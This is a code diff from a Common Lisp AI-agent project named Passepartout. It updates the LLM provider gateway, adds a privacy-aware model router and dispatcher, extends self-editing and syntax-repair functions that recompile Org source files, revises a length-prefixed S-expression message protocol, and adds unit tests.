(key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0))))
|
||||
(cond (key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0))))
|
||||
(url-env (let ((url (uiop:getenv url-env))) (and url (> (length url) 0))))
|
||||
(base-url t))))
|
||||
#+end_src
|
||||
|
||||
** Unified Request Execution
|
||||
#+begin_src lisp
|
||||
(defun provider-openai-request (prompt system-prompt &key model (provider :ollama))
|
||||
(defun provider-openai-request (prompt system-prompt &key model (provider :openrouter))
|
||||
"Executes a request against any OpenAI-compatible API endpoint."
|
||||
(let* ((config (provider-config provider))
|
||||
(base-url (getf config :base-url))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(default-model (getf config :default-model))
|
||||
(api-key (when key-env (uiop:getenv key-env)))
|
||||
(model-id (or model default-model))
|
||||
(url (if (eq provider :ollama)
|
||||
(format nil "http://~a/v1/chat/completions" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434"))
|
||||
(url (if url-env
|
||||
(let ((host (uiop:getenv url-env)))
|
||||
(if host
|
||||
(format nil "http://~a/v1/chat/completions" host)
|
||||
(format nil "~a/chat/completions" base-url)))
|
||||
(format nil "~a/chat/completions" base-url)))
|
||||
(timeout (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT")))
|
||||
30))
|
||||
(headers `(("Content-Type" . "application/json")
|
||||
,@(when api-key `(("Authorization" . ,(format nil "Bearer ~a" api-key))))
|
||||
,@(when (eq provider :openrouter)
|
||||
@@ -74,7 +52,9 @@ Returns T if a provider is configured — meaning it either has an API key set,
|
||||
(messages . (( (role . "system") (content . ,system-prompt) )
|
||||
( (role . "user") (content . ,prompt) )))))))
|
||||
(handler-case
|
||||
(let* ((response (dex:post url :headers headers :content body :connect-timeout 10 :read-timeout 60))
|
||||
(let* ((response (dex:post url :headers headers :content body
|
||||
:connect-timeout (min 10 timeout)
|
||||
:read-timeout (max 10 (- timeout 5))))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(choices (cdr (assoc :choices json)))
|
||||
(first-choice (car choices))
|
||||
@@ -82,13 +62,10 @@ Returns T if a provider is configured — meaning it either has an API key set,
|
||||
(content (cdr (assoc :content message))))
|
||||
(if content
|
||||
(list :status :success :content content)
|
||||
(list :status :error :message (format nil "~a: No content in response (~s)" provider json))))
|
||||
(list :status :error :message (format nil "~a: No content" provider))))
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Failure: ~a" provider c))))))
|
||||
#+end_src
|
||||
|
||||
** Dynamic Backend Registration
|
||||
#+begin_src lisp
|
||||
(defun provider-register-all ()
|
||||
"Scans environment variables and registers all available LLM backends."
|
||||
(dolist (entry *provider-configs*)
|
||||
@@ -104,17 +81,61 @@ Returns T if a provider is configured — meaning it either has an API key set,
|
||||
(let ((cascade-str (uiop:getenv "PROVIDER_CASCADE")))
|
||||
(if cascade-str
|
||||
(setf *provider-cascade*
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword))
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
|
||||
(uiop:split-string cascade-str :separator '(#\,))))
|
||||
(setf *provider-cascade* (mapcar #'car *provider-configs*)))))
|
||||
#+end_src
|
||||
(setf *provider-cascade* (mapcar #'car (remove-if (lambda (e)
|
||||
(member (car e) '(:local)))
|
||||
*provider-configs*))))))
|
||||
|
||||
(defun test-provider-connection (provider &optional api-key)
|
||||
"Test a provider API key by hitting its models endpoint.
|
||||
Returns (:ok) on success, (:fail reason) on failure.
|
||||
If API-KEY is nil, reads from environment."
|
||||
(let* ((config (provider-config provider))
|
||||
(base-url (getf config :base-url))
|
||||
(key-env (getf config :key-env))
|
||||
(url-env (getf config :url-env))
|
||||
(key (or api-key (when key-env (uiop:getenv key-env)))))
|
||||
(handler-case
|
||||
(let ((url (if url-env
|
||||
(let ((host (or (uiop:getenv url-env) "")))
|
||||
(format nil "http://~a/api/tags" host))
|
||||
(format nil "~a/models" (or base-url "")))))
|
||||
(if key-env
|
||||
(progn (dex:get url :headers `(("Authorization" . ,(format nil "Bearer ~a" key)))
|
||||
:connect-timeout 5 :read-timeout 10)
|
||||
'(:ok))
|
||||
(if url-env
|
||||
(progn (dex:get url :connect-timeout 5 :read-timeout 10) '(:ok))
|
||||
'(:fail "No URL source for this provider"))))
|
||||
(error (c) `(:fail ,(format nil "~a" c))))))
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(provider-register-all)
|
||||
(provider-cascade-initialize)
|
||||
|
||||
(defskill :passepartout-gateway-provider
|
||||
(defskill :passepartout-system-model-provider
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-llm-gateway-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:llm-gateway-suite))
|
||||
|
||||
(in-package :passepartout-llm-gateway-tests)
|
||||
|
||||
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
|
||||
(fiveam:in-suite llm-gateway-suite)
|
||||
|
||||
(fiveam:test test-provider-rejects-bad-keyword
|
||||
"Contract 3: provider-config returns nil for unregistered provider."
|
||||
(let ((config (provider-config :not-a-real-provider)))
|
||||
(fiveam:is (null config))))
|
||||
|
||||
(fiveam:test test-provider-config-registered
|
||||
"Contract 1: provider-config returns configuration plist for registered provider."
|
||||
(let ((config (provider-config :openrouter)))
|
||||
(fiveam:is (listp config))
|
||||
(fiveam:is (getf config :base-url))))
|
||||
90
lisp/system-model-router.lisp
Normal file
90
lisp/system-model-router.lisp
Normal file
@@ -0,0 +1,90 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *model-cascade-code* nil
|
||||
"Cascade for :code tasks: ((:ollama . \"model\") ...)")
|
||||
|
||||
(defvar *model-cascade-plan* nil
|
||||
"Cascade for :plan tasks.")
|
||||
|
||||
(defvar *model-cascade-chat* nil
|
||||
"Cascade for :chat tasks.")
|
||||
|
||||
(defvar *model-cascade-background* nil
|
||||
"Cascade for background tasks (heartbeat, delegation).")
|
||||
|
||||
(defvar *local-backends* '(:ollama :llama-cpp)
|
||||
"Backend keywords considered local (privacy-safe).")
|
||||
|
||||
(defun model-classify-complexity (text)
|
||||
"Classify TEXT into :code, :plan, or :chat."
|
||||
(let ((lower (string-downcase text)))
|
||||
(cond
|
||||
((or (search "defun" lower) (search "defmacro" lower)
|
||||
(search "write" lower) (search "refactor" lower)
|
||||
(search "fix " lower) (search "implement" lower)
|
||||
(search "code" lower)
|
||||
(search "#+begin_src" lower))
|
||||
:code)
|
||||
((or (search "plan" lower) (search "roadmap" lower)
|
||||
(search "strategy" lower) (search "design" lower)
|
||||
(search "architecture" lower))
|
||||
:plan)
|
||||
(t :chat))))
|
||||
|
||||
(defun model-cascade-find (cascade backend)
|
||||
"Find first (PROVIDER . MODEL) in CASCADE matching BACKEND."
|
||||
(assoc backend cascade
|
||||
:test (lambda (a b) (string-equal (string a) (string b)))))
|
||||
|
||||
(defun model-select (backend context)
|
||||
"Select model for BACKEND given CONTEXT signal.
|
||||
Returns model name or :skip."
|
||||
(let* ((payload (getf context :payload))
|
||||
(text (or (getf payload :text) ""))
|
||||
(sensor (getf payload :sensor))
|
||||
(has-personal (and (boundp '*dispatcher-privacy-tags*)
|
||||
(some (lambda (tag) (search tag text))
|
||||
(symbol-value '*dispatcher-privacy-tags*))))
|
||||
(is-local (member backend *local-backends*)))
|
||||
;; Privacy: skip cloud backends for personal content
|
||||
(when (and has-personal (not is-local))
|
||||
(log-message "MODEL-ROUTER: Skipping ~a (personal content)" backend)
|
||||
(return-from model-select :skip))
|
||||
;; Quadrant: background tasks use background cascade
|
||||
(if (member sensor '(:heartbeat :delegation :tool-output :loop-error))
|
||||
(let ((entry (car (or *model-cascade-background*
|
||||
'((:ollama . "phi-2"))))))
|
||||
(cdr entry))
|
||||
;; Foreground: classify complexity, use slot cascade
|
||||
(let* ((slot (model-classify-complexity text))
|
||||
(cascade (case slot
|
||||
(:code *model-cascade-code*)
|
||||
(:plan *model-cascade-plan*)
|
||||
(t *model-cascade-chat*)))
|
||||
(entry (model-cascade-find
|
||||
(or cascade '((:ollama . "qwen2.5:14b"))) backend)))
|
||||
(if entry (cdr entry) nil)))))
|
||||
|
||||
(defun model-router-init ()
|
||||
"Read env vars and wire model-select into *model-selector*."
|
||||
(flet ((parse-cascade (str)
|
||||
(when (and str (> (length str) 0))
|
||||
(let ((*read-eval* nil))
|
||||
(read-from-string str)))))
|
||||
(setf *model-cascade-code* (parse-cascade (uiop:getenv "MODEL_CASCADE_CODE"))
|
||||
*model-cascade-plan* (parse-cascade (uiop:getenv "MODEL_CASCADE_PLAN"))
|
||||
*model-cascade-chat* (parse-cascade (uiop:getenv "MODEL_CASCADE_CHAT"))
|
||||
*model-cascade-background* (parse-cascade (uiop:getenv "MODEL_CASCADE_BACKGROUND"))
|
||||
*local-backends* (let ((env (uiop:getenv "LOCAL_BACKENDS")))
|
||||
(if env
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword))
|
||||
(uiop:split-string env :separator '(#\,)))
|
||||
'(:ollama :llama-cpp)))))
|
||||
(setf *model-selector* #'model-select)
|
||||
(log-message "MODEL-ROUTER: Initialized, selector=~a" *model-selector*))
|
||||
|
||||
(defskill :passepartout-model-router
|
||||
:priority 250
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(model-router-init)
|
||||
16
lisp/system-model.lisp
Normal file
16
lisp/system-model.lisp
Normal file
@@ -0,0 +1,16 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun model-request (&key prompt system-prompt (provider :openrouter) model)
|
||||
"Central dispatcher for LLM requests."
|
||||
(let ((backend (gethash provider *probabilistic-backends*)))
|
||||
(if backend
|
||||
(handler-case
|
||||
(funcall backend prompt system-prompt :model model)
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Failure: ~a" provider c))))
|
||||
(list :status :error :message (format nil "Provider ~a not registered" provider)))))
|
||||
|
||||
(defskill :passepartout-system-model
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (getf ctx :user-input))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
@@ -1,77 +1,196 @@
|
||||
(defun org-tangle-file (filepath)
|
||||
"Tangles an Org file's lisp blocks to its :tangle target, compiles, and loads."
|
||||
(let ((content (uiop:read-file-string filepath))
|
||||
(tangle-path nil)
|
||||
(lisp-lines nil)
|
||||
(in-block nil))
|
||||
(dolist (line (uiop:split-string content :separator '(#\Newline)))
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(cond
|
||||
((and (null tangle-path)
|
||||
(search "#+PROPERTY:" trimmed)
|
||||
(search ":tangle" trimmed))
|
||||
(let* ((parts (uiop:split-string trimmed :separator '(#\Space)))
|
||||
(target (car (last parts)))
|
||||
(org-dir (make-pathname :directory (pathname-directory filepath))))
|
||||
(when (and target (not (string-equal target "no")))
|
||||
(setf tangle-path
|
||||
(if (char= (aref target 0) #\/)
|
||||
(uiop:parse-unix-namestring target)
|
||||
(uiop:parse-unix-namestring
|
||||
(format nil "~a/~a" (namestring org-dir) target)))))))
|
||||
((search "#+begin_src lisp" trimmed)
|
||||
(setf in-block t))
|
||||
((search "#+end_src" trimmed)
|
||||
(setf in-block nil)
|
||||
(let ((before (search "#+end_src" line)))
|
||||
(when (and before (> before 0))
|
||||
(push (subseq line 0 before) lisp-lines))))
|
||||
(in-block
|
||||
(push line lisp-lines)))))
|
||||
(when (and tangle-path lisp-lines)
|
||||
(setf lisp-lines (nreverse lisp-lines))
|
||||
(ensure-directories-exist tangle-path)
|
||||
(with-open-file (f tangle-path :direction :output :if-exists :supersede)
|
||||
(format f "~{~a~%~}" lisp-lines))
|
||||
(let ((compiled (compile-file tangle-path)))
|
||||
(when compiled
|
||||
(load compiled)
|
||||
(list :tangled (namestring tangle-path) :compiled t))))))
|
||||
|
||||
(defun org-extract-lisp-blocks (content)
|
||||
"Extracts all #+begin_src lisp blocks from Org CONTENT as a list of strings."
|
||||
(let ((blocks nil)
|
||||
(in-block nil)
|
||||
(current nil))
|
||||
(dolist (line (uiop:split-string content :separator '(#\Newline)))
|
||||
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
|
||||
(cond
|
||||
((search "#+begin_src lisp" trimmed)
|
||||
(setf in-block t current nil))
|
||||
((search "#+end_src" trimmed)
|
||||
(when in-block
|
||||
(let ((before (search "#+end_src" line)))
|
||||
(when (and before (> before 0))
|
||||
(push (subseq line 0 before) current)))
|
||||
(push (format nil "~{~a~%~}" (nreverse current)) blocks)
|
||||
(setf in-block nil current nil)))
|
||||
(in-block
|
||||
(push line current)))))
|
||||
(nreverse blocks)))
|
||||
|
||||
(defun self-improve-edit (filepath old-text new-text)
|
||||
"Applies a surgical text transformation to a source file.
|
||||
Uses org-modify for the actual replacement, creates a memory snapshot before
|
||||
editing (for rollback), and verifies the edit succeeded. Returns a plist:
|
||||
(:status :success :summary <description>)
|
||||
(:status :error :reason <message>)"
|
||||
"Surgical text replacement with tangle+reload for Org source files."
|
||||
(when (or (null filepath) (null old-text) (null new-text))
|
||||
(return-from self-improve-edit
|
||||
(list :status :error :reason "Missing arguments: filepath, old-text, and new-text required")))
|
||||
(list :status :error :reason "Missing arguments")))
|
||||
(when (not (uiop:file-exists-p filepath))
|
||||
(return-from self-improve-edit
|
||||
(list :status :error :reason (format nil "File not found: ~a" filepath))))
|
||||
(log-message "SELF-IMPROVE: Editing ~a (~d chars)" filepath (length old-text))
|
||||
;; Rollback safety: snapshot memory before modifying
|
||||
(ignore-errors
|
||||
(when (fboundp 'snapshot-memory)
|
||||
(snapshot-memory)))
|
||||
;; Attempt the edit
|
||||
(let ((result (org-modify filepath old-text new-text)))
|
||||
(if result
|
||||
;; Verify: re-read and confirm new text is present
|
||||
(let ((re-read (uiop:read-file-string filepath)))
|
||||
(if (search new-text re-read :test #'string=)
|
||||
(progn
|
||||
(log-message "SELF-IMPROVE: Verified edit in ~a" filepath)
|
||||
(list :status :success
|
||||
:summary (format nil "Replaced ~d chars in ~a" (length old-text) filepath)))
|
||||
(progn
|
||||
(log-message "SELF-IMPROVE: Verification failed for ~a" filepath)
|
||||
(list :status :error :reason "Verification failed: new text not found after write"))))
|
||||
(list :status :error :reason (format nil "Text not found in ~a" filepath)))))
|
||||
(when (fboundp 'snapshot-memory)
|
||||
(snapshot-memory)))
|
||||
(let* ((content (uiop:read-file-string filepath))
|
||||
(pos (search old-text content)))
|
||||
(if pos
|
||||
(let* ((new-content (concatenate 'string
|
||||
(subseq content 0 pos)
|
||||
new-text
|
||||
(subseq content (+ pos (length old-text)))))
|
||||
(ext (pathname-type filepath)))
|
||||
(with-open-file (f filepath :direction :output :if-exists :supersede)
|
||||
(write-sequence new-content f))
|
||||
(let ((re-read (uiop:read-file-string filepath)))
|
||||
(if (search new-text re-read :test 'string=)
|
||||
(let ((tangle-result
|
||||
(when (string-equal ext "org")
|
||||
(ignore-errors (org-tangle-file filepath)))))
|
||||
(list :status :success
|
||||
:summary (format nil "Replaced ~d chars in ~a"
|
||||
(length old-text) filepath)
|
||||
:tangle tangle-result))
|
||||
(list :status :error :reason "Verification failed"))))
|
||||
(list :status :error :reason
|
||||
(format nil "Text not found in ~a" filepath)))))
|
||||
|
||||
(defun self-improve-balance-parens (code)
|
||||
"Returns balanced code or nil if already balanced."
|
||||
(handler-case
|
||||
(progn
|
||||
(let ((*read-eval* nil))
|
||||
(with-input-from-string (s code)
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)))
|
||||
(values))
|
||||
nil)
|
||||
(error ()
|
||||
(let* ((opens (loop for ch across code count (char= ch #\()))
|
||||
(closes (loop for ch across code count (char= ch #\))))
|
||||
(missing (- opens closes)))
|
||||
(when (plusp missing)
|
||||
(concatenate 'string code
|
||||
(make-string missing :initial-element #\))))))))
|
||||
|
||||
(defun self-improve-repair-syntax (skill-name)
|
||||
"Find and fix unbalanced parens in a skill's Org source file."
|
||||
(let* ((data-dir (uiop:ensure-directory-pathname
|
||||
(or (uiop:getenv "PASSEPARTOUT_DATA_DIR")
|
||||
(merge-pathnames ".local/share/passepartout/"
|
||||
(user-homedir-pathname)))))
|
||||
(org-path (merge-pathnames (format nil "org/~a.org" skill-name) data-dir)))
|
||||
(unless (uiop:file-exists-p org-path)
|
||||
(return-from self-improve-repair-syntax
|
||||
(list :status :error :reason (format nil "Source not found: ~a" skill-name)
|
||||
:repaired nil)))
|
||||
(let* ((content (uiop:read-file-string org-path))
|
||||
(blocks (org-extract-lisp-blocks content))
|
||||
(fixed 0) (result content))
|
||||
(dolist (block blocks)
|
||||
(let ((balanced (self-improve-balance-parens block)))
|
||||
(when (and balanced (not (string= block balanced)))
|
||||
(let ((pos (search block result)))
|
||||
(when pos
|
||||
(setf result (concatenate 'string
|
||||
(subseq result 0 pos)
|
||||
balanced
|
||||
(subseq result (+ pos (length block))))
|
||||
fixed (1+ fixed)))))))
|
||||
(if (> fixed 0)
|
||||
(progn
|
||||
(with-open-file (f org-path :direction :output :if-exists :supersede)
|
||||
(write-sequence result f))
|
||||
(let ((tangle-result (org-tangle-file org-path)))
|
||||
(list :status :success
|
||||
:action (format nil "Fixed ~d block(s) in ~a" fixed skill-name)
|
||||
:repaired t :tangle tangle-result)))
|
||||
(list :status :error
|
||||
:reason (format nil "No unbalanced blocks in ~a" skill-name)
|
||||
:repaired nil)))))
|
||||
|
||||
(defun self-improve-fix (skill-name error-log)
|
||||
"Diagnoses and attempts to repair a failing skill.
|
||||
Parses ERROR-LOG for syntax errors (unbalanced parens, reader errors) and
|
||||
attempts structural correction. Uses lisp-structural-check to identify issues
|
||||
and repl-eval to verify repairs. Returns:
|
||||
(:status :success :action <description> :repaired t)
|
||||
(:status :error :reason <message> :diagnosis <analysis>)"
|
||||
"Diagnoses and attempts to repair a failing skill."
|
||||
(when (or (null skill-name) (null error-log))
|
||||
(return-from self-improve-fix
|
||||
(list :status :error :reason "Missing arguments: skill-name and error-log required")))
|
||||
(log-message "SELF-IMPROVE: Diagnosing ~a..." skill-name)
|
||||
;; Analyze the error log
|
||||
(let* ((log-str (if (stringp error-log) error-log (format nil "~a" error-log)))
|
||||
(diagnosis nil))
|
||||
;; Check for common error patterns
|
||||
(diagnosis nil)
|
||||
(extracted-type nil))
|
||||
(cond
|
||||
((search "Reader Error" log-str :test #'char-equal)
|
||||
(setf diagnosis
|
||||
(list :type :syntax-error
|
||||
:detail "Reader Error (likely unbalanced parentheses or malformed s-expression)"
|
||||
:log log-str)))
|
||||
((search "Undefined" log-str :test #'char-equal)
|
||||
(setf diagnosis
|
||||
(list :type :undefined-symbol
|
||||
:detail "Undefined symbol or missing dependency"
|
||||
:log log-str)))
|
||||
((search "PACKAGE" log-str :test #'char-equal)
|
||||
(setf diagnosis
|
||||
(list :type :package-error
|
||||
:detail "Package resolution error — check imports and defpackage"
|
||||
:log log-str)))
|
||||
((search "Reader Error" log-str :test 'char-equal)
|
||||
(setf extracted-type :syntax-error
|
||||
diagnosis (list :type :syntax-error
|
||||
:detail "Reader Error (likely unbalanced parentheses)"
|
||||
:log log-str)))
|
||||
((search "Undefined" log-str :test 'char-equal)
|
||||
(setf extracted-type :undefined-symbol
|
||||
diagnosis (list :type :undefined-symbol
|
||||
:detail "Undefined symbol or missing dependency"
|
||||
:log log-str)))
|
||||
((search "PACKAGE" log-str :test 'char-equal)
|
||||
(setf extracted-type :package-error
|
||||
diagnosis (list :type :package-error
|
||||
:detail "Package resolution error"
|
||||
:log log-str)))
|
||||
(t
|
||||
(setf diagnosis
|
||||
(list :type :unknown
|
||||
:detail (format nil "Unrecognized error pattern: ~a"
|
||||
(subseq log-str 0 (min 200 (length log-str))))
|
||||
:log log-str))))
|
||||
(log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name (getf diagnosis :type))
|
||||
(list :status :error
|
||||
:reason (format nil "Diagnosis for ~a: ~a" skill-name (getf diagnosis :detail))
|
||||
:diagnosis diagnosis
|
||||
:repaired nil)))
|
||||
(setf extracted-type :unknown
|
||||
diagnosis (list :type :unknown
|
||||
:detail (format nil "Unrecognized error: ~a"
|
||||
(subseq log-str 0 (min 200 (length log-str))))
|
||||
:log log-str))))
|
||||
(log-message "SELF-IMPROVE: Diagnosed ~a as ~a" skill-name extracted-type)
|
||||
(let ((repair-result
|
||||
(when (eql extracted-type :syntax-error)
|
||||
(self-improve-repair-syntax skill-name))))
|
||||
(if (and repair-result (getf repair-result :repaired))
|
||||
(progn
|
||||
(log-message "SELF-IMPROVE: Successfully repaired ~a" skill-name)
|
||||
repair-result)
|
||||
(list :status :error
|
||||
:reason (format nil "Diagnosis for ~a: ~a" skill-name
|
||||
(getf diagnosis :detail))
|
||||
:diagnosis diagnosis
|
||||
:repaired nil)))))
|
||||
|
||||
(defskill :passepartout-system-self-improve
|
||||
:priority 100
|
||||
|
||||
@@ -10,7 +10,7 @@ The Communication Protocol defines how Passepartout speaks to the outside world.
|
||||
|
||||
Every message is an S-expression (plist) prefixed with a 6-character hex length:
|
||||
|
||||
00002C(:TYPE :EVENT :PAYLOAD (:ACTION :handshake :VERSION "0.2.0"))
|
||||
00002C(:TYPE :EVENT :PAYLOAD (:ACTION :handshake :VERSION "0.3.0"))
|
||||
|
||||
This is a deliberate rejection of JSON, Protocol Buffers, or any other serialization format. The message format is Lisp-native because:
|
||||
|
||||
@@ -29,6 +29,16 @@ The length prefix solves all three problems. The reader reads exactly 6 characte
|
||||
|
||||
The 6-character hex length supports messages up to ~16MB (0xFFFFFF bytes). This is sufficient for any single message the agent would produce. Larger payloads should be split across multiple messages.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (frame-message msg): serializes a plist message to a length-prefixed
|
||||
string. The first 6 characters are the hex-encoded payload length.
|
||||
2. (read-framed-message stream): reads a framed message from a stream,
|
||||
returning the deserialized plist. Consumes exactly the length-prefixed
|
||||
bytes.
|
||||
3. Round-trip invariant: ~(read-framed-message (make-string-input-stream
|
||||
(frame-message msg)))~ equals ~msg~.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -36,15 +46,31 @@ The 6-character hex length supports messages up to ~16MB (0xFFFFFF bytes). This
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Protocol Accessor (proto-get)
|
||||
|
||||
Case-insensitive property list accessor used throughout the pipeline.
|
||||
Returns the value associated with KEY in PLIST by interning a keyword.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun proto-get (plist key)
|
||||
"Look up KEY in PLIST with case-insensitive keyword normalization."
|
||||
(let ((key-upcase (string-upcase (string key))))
|
||||
(loop for (k v) on plist by #'cddr
|
||||
when (and (keywordp k)
|
||||
(string-equal (string k) key-upcase))
|
||||
do (return v))))
|
||||
#+end_src
|
||||
|
||||
** Actuator Registry
|
||||
|
||||
The global registry mapping target keywords (~:cli~, ~:telegram~, ~:signal~, etc.) to their physical actuator functions. Extensible at runtime — skills can register new actuators via ~actuator-register~.
|
||||
The global registry mapping target keywords (~:cli~, ~:telegram~, ~:signal~, etc.) to their physical actuator functions. Extensible at runtime — skills can register new actuators via ~register-actuator~.
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *actuator-registry* (make-hash-table :test 'equalp)
|
||||
"Global registry mapping target keywords to their physical actuator functions.")
|
||||
|
||||
(defun actuator-register (name fn)
|
||||
(defun register-actuator (name fn)
|
||||
"Registers an actuator function. Actuators receive: (ACTION CONTEXT)."
|
||||
(let ((key (if (keywordp name) name (intern (string-upcase (string name)) :keyword))))
|
||||
(setf (gethash key *actuator-registry*) fn)))
|
||||
@@ -115,7 +141,7 @@ Reads a complete framed message from a TCP stream. Handles leading whitespace be
|
||||
|
||||
The TCP server that accepts connections from CLI and TUI clients. Each connection gets a dedicated thread (~client-handle-connection~).
|
||||
|
||||
The daemon sends a handshake message on connection, then enters a read loop, injecting each received message into the metabolic loop via ~inject-stimulus~. The ~:health-check~ message type is handled inline (not sent to the cognitive loop) so that health checks work even when the agent is busy.
|
||||
The daemon sends a handshake message on connection, then enters a read loop, injecting each received message into the metabolic loop via ~stimulus-inject~. The ~:health-check~ message type is handled inline (not sent to the cognitive loop) so that health checks work even when the agent is busy.
|
||||
|
||||
#+begin_src lisp
|
||||
(defvar *daemon-socket* nil)
|
||||
@@ -125,7 +151,7 @@ The daemon sends a handshake message on connection, then enters a read loop, inj
|
||||
(let ((stream (usocket:socket-stream socket)))
|
||||
(handler-case
|
||||
(progn
|
||||
(format stream "~a" (frame-message (make-hello-message "0.2.0")))
|
||||
(format stream "~a" (frame-message (make-hello-message "0.3.0")))
|
||||
(finish-output stream)
|
||||
(loop
|
||||
(let ((msg (read-framed-message stream)))
|
||||
@@ -142,7 +168,7 @@ The daemon sends a handshake message on connection, then enters a read loop, inj
|
||||
nil))))
|
||||
(format stream "~a" (frame-message health-msg))
|
||||
(finish-output stream)))
|
||||
(t (inject-stimulus msg :stream stream))))))
|
||||
(t (stimulus-inject msg :stream stream))))))
|
||||
(error (c) (log-message "CLIENT ERROR: ~a" c)))
|
||||
(ignore-errors (usocket:socket-close socket))))
|
||||
|
||||
@@ -189,6 +215,15 @@ Validates that an incoming message has the minimum required structure: a plist w
|
||||
t))
|
||||
#+end_src
|
||||
|
||||
** Backward-Compatibility Alias
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T14:00:00
|
||||
#+begin_src lisp
|
||||
(defun validate-communication-protocol-schema (msg)
|
||||
"Backward-compatibility alias for protocol-schema-validate."
|
||||
(protocol-schema-validate msg))
|
||||
#+end_src
|
||||
|
||||
** Protocol Smoke Test (manual for REPL evaluation)
|
||||
|
||||
Use this function to manually verify that the daemon is alive and the framing protocol works end-to-end. It connects to a running daemon, reads the HELLO handshake, sends a "hi" message, and reads the response.
|
||||
@@ -236,7 +271,34 @@ Verifies that the framing protocol correctly serializes and deserializes message
|
||||
(in-suite communication-protocol-suite)
|
||||
|
||||
(test test-framing
|
||||
"Contract 1: frame-message produces correct hex length prefix."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake)))
|
||||
(framed (frame-message msg)))
|
||||
(is (string= "00002C" (string-upcase (subseq framed 0 6))))))
|
||||
|
||||
(test test-framing-round-trip
|
||||
"Contract 3: frame → read-frame preserves message identity."
|
||||
(let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
|
||||
(framed (frame-message msg))
|
||||
(unframed (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal msg unframed))))
|
||||
|
||||
(test test-framing-empty-message
|
||||
"Contract 1: simple messages frame with valid hex length."
|
||||
(let* ((msg '(:type :ping))
|
||||
(framed (frame-message msg)))
|
||||
(is (> (length framed) 5))
|
||||
(is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
|
||||
|
||||
(test test-read-framed-message
|
||||
"Contract 2: read-framed-message decodes a framed message correctly."
|
||||
(let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
|
||||
(framed (frame-message original))
|
||||
(decoded (read-framed-message (make-string-input-stream framed))))
|
||||
(is (equal original decoded))))
|
||||
|
||||
(test test-read-framed-message-eof
|
||||
"Contract 2: read-framed-message returns :eof on incomplete stream."
|
||||
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
|
||||
(is (eq :eof decoded))))
|
||||
#+end_src
|
||||
|
||||
@@ -24,6 +24,15 @@ A naive implementation that serializes every ~org-object~ to text would produce
|
||||
|
||||
The semantic threshold is configurable via ~CONTEXT_SEMANTIC_THRESHOLD~ env var (default 0.75). Lower values include more peripherally related content; higher values restrict to tightly related content.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (context-awareness-assemble &optional signal): produces a skeletal
|
||||
outline of current Memory for the LLM. If ~:foveal-focus~ is set,
|
||||
the foveal node gets inline rendering; peripheral nodes get title-only.
|
||||
Privacy-filtered objects are excluded.
|
||||
2. (context-assemble-global-awareness): zero-arg wrapper — calls
|
||||
~context-awareness-assemble~ without foveal focus.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -35,18 +44,25 @@ The semantic threshold is configurable via ~CONTEXT_SEMANTIC_THRESHOLD~ env var
|
||||
|
||||
Filters the Memory store by tag, TODO state, or object type. This is the primary retrieval function used by skills to find relevant information.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-query (&key tag todo-state type)
|
||||
"Filters the Memory based on tags, todo states, or types."
|
||||
(defun context-query (&key tag todo-state type scope)
|
||||
"Filters the Memory based on tags, todo states, or types.
|
||||
Optional SCOPE restricts results to objects with that scope
|
||||
or :memex (global scope always visible)."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(let* ((attrs (org-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
|
||||
(when (and type (not (eq (org-object-type obj) type))) (setf match nil))
|
||||
(let* ((attrs (memory-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
|
||||
;; Scope filter: if scope specified, only match :memex (global) or same scope
|
||||
(when (and scope (not (eq (memory-object-scope obj) :memex))
|
||||
(not (eq (memory-object-scope obj) scope)))
|
||||
(setf match nil))
|
||||
(when (and type (not (eq (memory-object-type obj) type))) (setf match nil))
|
||||
